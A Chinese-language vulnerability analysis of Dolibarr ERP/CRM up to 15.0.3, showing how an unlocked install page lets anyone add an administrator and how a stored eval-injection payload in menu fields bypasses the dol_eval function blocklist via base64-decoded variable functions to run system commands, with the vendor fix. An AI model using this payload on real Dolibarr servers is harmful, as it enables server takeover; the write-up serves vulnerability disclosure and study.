[CVE-2022-40871] Dolibarr任意添加管理员与RCE漏洞分析

Dolibarr存在任意添加管理员漏洞和远程命令执行漏洞 CVE-2022-40871

漏洞简介

Dolibarr ERP & CRM <=15.0.3 is vulnerable to Eval injection. By default, any administrator can be added to the installation page of dolibarr, and if successfully added, malicious code can be inserted into the database and then execute it by eval.

CVE编号:CVE-2022-2633

漏洞描述:Dolibarr edit.php 存在远程命令执行漏洞,攻击者通过逻辑漏洞创建管理员后可以通过后台漏洞获取服务器权限

影响版本:<= 15.0.3

漏洞分析

环境搭建

源码下载地址:https://github.com/Dolibarr/dolibarr/archive/refs/tags/15.0.3.zip

解压到web目录下直接访问~/htdocs/即可

image-20221112215135292

然后配置一下conf/conf.php即可进行安装

任意管理员用户注册

这其实算是个逻辑漏洞,在install系统以后,他不会进行锁定,而是需要用户在documents目录中手动添加,所以我们随时可以进入这里去添加管理员账号:~/install/step4.php

比如这里我添加一个aaa用户

image-20221112224440198

可以成功进入后台的

image-20221112224514801

后台RCE

后台RCE的最后点在htdocs/core/lib/functions.lib.phpdol_eval()函数

但是这里是有waf的,把大多数的危险函数都给ban了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
	// We block use of php exec or php file functions
	$forbiddenphpstrings = array('$$');
	$forbiddenphpstrings = array_merge($forbiddenphpstrings, array('_ENV', '_SESSION', '_COOKIE', '_GET', '_POST', '_REQUEST'));

	$forbiddenphpfunctions = array("exec", "passthru", "shell_exec", "system", "proc_open", "popen", "eval", "dol_eval", "executeCLI");
	$forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("fopen", "file_put_contents", "fputs", "fputscsv", "fwrite", "fpassthru", "require", "include", "mkdir", "rmdir", "symlink", "touch", "unlink", "umask"));
	$forbiddenphpfunctions = array_merge($forbiddenphpfunctions, array("function", "call_user_func"));

	$forbiddenphpregex = 'global\s+\$|\b('.implode('|', $forbiddenphpfunctions).')\b';

	do {
		$oldstringtoclean = $s;
		$s = str_ireplace($forbiddenphpstrings, '__forbiddenstring__', $s);
		$s = preg_replace('/'.$forbiddenphpregex.'/i', '__forbiddenstring__', $s);
		//$s = preg_replace('/\$[a-zA-Z0-9_\->\$]+\(/i', '', $s);	// Remove $function( call and $mycall->mymethod(
	} while ($oldstringtoclean != $s);

	if (strpos($s, '__forbiddenstring__') !== false) {
		dol_syslog('Bad string syntax to evaluate: '.$s, LOG_WARNING);
		if ($returnvalue) {
			return 'Bad string syntax to evaluate: '.$s;
		} else {
			dol_syslog('Bad string syntax to evaluate: '.$s);
			return '';
		}
	}

	//print $s."<br>\n";
    if ($returnvalue) {
        if ($hideerrors) {
            return @eval('return '.$s.';');
        } else {
            return eval('return '.$s.';');
        }
    } else {
        if ($hideerrors) {
            @eval($s);
        } else {
            eval($s);
        }
    }

这里再去找找dol_eval()的调用,上面的verifCond()就调用了

而这里进行了一个拼接,这个外面后面再谈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function verifCond($strToEvaluate)
{
   global $user, $conf, $langs;
   global $leftmenu;
   global $rights; // To export to dol_eval function

   //print $strToEvaluate."<br>\n";
   $rights = true;
   if (isset($strToEvaluate) && $strToEvaluate !== '') {
      $str = 'if(!('.$strToEvaluate.')) $rights = false;';
      dol_eval($str, 0, 1, '2'); 
   }
   return $rights;
}

再转而寻找verifCond函数的全局的参数可控的调用,在menubase.class.php的menuLoad()函数中就存在一个点

image-20221112232201159

可以看到这里verifCond代码虽然是可控的,但是是从数据库中查询的结果中获取的

关注permsenable,这两个都是可以直接进入verifCond的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
		$resql = $this->db->query($sql);
		if ($resql) {
			$numa = $this->db->num_rows($resql);

			$a = 0;
			$b = 0;
			while ($a < $numa) {
				//$objm = $this->db->fetch_object($resql);
				$menu = $this->db->fetch_array($resql);

				// Define $right
				$perms = true;
				if (isset($menu['perms'])) {
					$tmpcond = $menu['perms'];
					if ($leftmenu == 'all') {
						$tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true
					}
					$perms = verifCond($tmpcond);
					//print "verifCond rowid=".$menu['rowid']." ".$tmpcond.":".$perms."<br>\n";
				}

				// Define $enabled
				$enabled = true;
				if (isset($menu['enabled'])) {
					$tmpcond = $menu['enabled'];
					if ($leftmenu == 'all') {
						$tmpcond = preg_replace('/\$leftmenu\s*==\s*["\'a-zA-Z_]+/', '1==1', $tmpcond); // Force part of condition to true
					}
					$enabled = verifCond($tmpcond);
				}

我们去前面看看这里执行的sql语句,他是从".MAIN_DB_PREFIX."menu表中查询的数据,但是有WHERE条件语句

  • m.entity IN (0,".$conf->entity.")
  • m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')

所以我们如果能找到一个INSERT进".MAIN_DB_PREFIX."menu中、可以控制permsenable字段并且entitymenu_handler能满足WHERE条件的语句即可,这里注意entity来源于$conf->entity

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$sql = "SELECT m.rowid, m.type, m.module, m.fk_menu, m.fk_mainmenu, m.fk_leftmenu, m.url, m.titre, m.prefix, m.langs, m.perms, m.enabled, m.target, m.mainmenu, m.leftmenu, m.position";
$sql .= " FROM ".MAIN_DB_PREFIX."menu as m";
$sql .= " WHERE m.entity IN (0,".$conf->entity.")";
$sql .= " AND m.menu_handler IN ('".$this->db->escape($menu_handler)."','all')";
if ($type_user == 0) {
    $sql .= " AND m.usertype IN (0,2)";
}
if ($type_user == 1) {
    $sql .= " AND m.usertype IN (1,2)";
}
$sql .= " ORDER BY m.position, m.rowid";

这里直接正则搜索一下,的确存在这么个点,在同一个文件的create()函数

image-20221113000249851

接下来得看看参数是否可控,这里的VALUES设定为成员属性,但是entity是$conf->entity,这里就直接满足了条件,因为上面SQL查询也是这个

image-20221113001946769

接下来发现menu_handler在执行menuLoad函数的时候都会自动填入的

image-20221113002330295

所以这两个WHERE条件都解决了,剩下就是看permsenable是否可控了,在类内部没看到有对成员变量赋值的地方,所以还得全局搜索一下

发现permsenablemenus/edit.php中都是可以直接控制的

image-20221113002856865

经过调试发现,这里menuId需要唯一否则会冲突无法写入数据库,这里的type需要设置为1,否则也会报错

接下来就可以研究一下,如何去绕过waf执行eval,这里作者的做法是利用php的特性:变量函数

1
2
3
4
// file_put_contents
$a=base64_decode('ZmlsZV9wdXRfY29udGVudHM=');
// shellcode
$a('.1234.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8+Cg=='));

再往前看verifCond函数

这里进行了一个字符串的拼接,由于是执行eval的,所以我们可以去闭合他的括号,注释掉后面的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function verifCond($strToEvaluate)
{
   global $user, $conf, $langs;
   global $leftmenu;
   global $rights; // To export to dol_eval function

   //print $strToEvaluate."<br>\n";
   $rights = true;
   if (isset($strToEvaluate) && $strToEvaluate !== '') {
      $str = 'if(!('.$strToEvaluate.')) $rights = false;';
      dol_eval($str, 0, 1, '2'); 
   }
   return $rights;
}

也就是这样的一个payload(无害化的payload

1
1==1));$d=base64_decode('ZWNobyAnPCEtLScmJmVjaG8gcHduZWQhISEmJmlkJiZlY2hvJy0tPic=');$a=base64_decode('c3lzdGVt');$a($d);//

然后放在enable参数存入数据库,最后发包如下

image-20221113004416906

成功存入数据库

image-20221113004508666

debug一下,进入verifCond

image-20221113004645570

跟进verifCond,恶意构造拼接绕过,进入dol_eval

image-20221113004826342

代码执行成功

image-20221113004918701

成功getshell

image-20221113005123697

漏洞调用栈

image-20221113004952924

漏洞总结

这里这个RCE漏洞,其实原理类似于二次注入,先把恶意代码存入数据库,再从数据库提取数据时触发恶意代码,这里还绕过了一个waf,利用的是php的特性——变量函数

漏洞修复

这里作者对于漏洞的修复一个是verifCond函数的加固

这里取消了字符串的拼接且让dol_eval的第四个参数为"1"

image-20221113010538177

这样就会走入下面的这个判断,看注释这里的正则就是为了防止RCE而设计的

image-20221113011151428

一个是dol_eval函数的加强,这里forbiddenphpfunctions里添加了verifCond函数,直接禁止了verifCond的执行

image-20221113010132703

Licensed under CC BY-NC-SA 4.0